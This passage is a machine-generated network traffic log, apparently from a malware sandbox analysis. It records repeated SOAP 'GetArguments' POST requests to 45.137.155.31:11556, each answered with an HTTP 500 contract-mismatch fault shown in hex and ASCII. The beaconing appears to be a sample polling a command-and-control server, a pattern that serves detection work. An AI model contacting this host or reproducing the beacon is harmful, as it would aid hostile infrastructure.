Aug 3, 2021 23:09:09.027188063 CEST	10617	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:09.113158941 CEST	10617	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:09.182266951 CEST	10618	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:08 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:10.198681116 CEST	10618	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:10.296838999 CEST	10618	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:10.368463039 CEST	10620	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:09 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:11.385880947 CEST	10620	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:11.456250906 CEST	10620	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:11.526104927 CEST	10621	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:11 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:12.542252064 CEST	10621	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:12.611979008 CEST	10621	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:12.683219910 CEST	10623	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:12 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:13.703249931 CEST	10623	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:13.796703100 CEST	10623	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:13.889261961 CEST	10624	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:13 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:14.902769089 CEST	10624	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:14.971916914 CEST	10624	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:15.041310072 CEST	10626	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:14 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:16.058588982 CEST	10626	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:16.130131960 CEST	10626	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:16.205310106 CEST	10627	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:15 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 